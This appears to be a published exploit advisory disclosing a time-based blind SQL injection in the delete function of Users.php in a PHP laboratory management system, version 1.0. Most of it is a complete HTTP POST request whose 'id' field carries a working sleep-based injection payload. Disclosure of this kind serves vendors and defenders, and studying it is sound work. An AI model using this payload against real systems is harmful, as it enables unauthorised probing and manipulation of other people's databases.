Authored by Smitha Bhabal

Simple Laboratory Management System version 1.0 suffers from a remote time-based SQL injection vulnerability.

# Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection
# Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.
# Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.
# Exploit Author: Smitha Bhabal
# Date: 2024-06-30
# Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip
# Version: 1.0
# Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)
# Reference: https://github.com/payloadbox/sql-injection-payload-list


POST /php-lms/classes/Users.php?f=delete HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6u
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Priority: u=1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

id=(select%20*%20from%20(select(sleep(20)))a)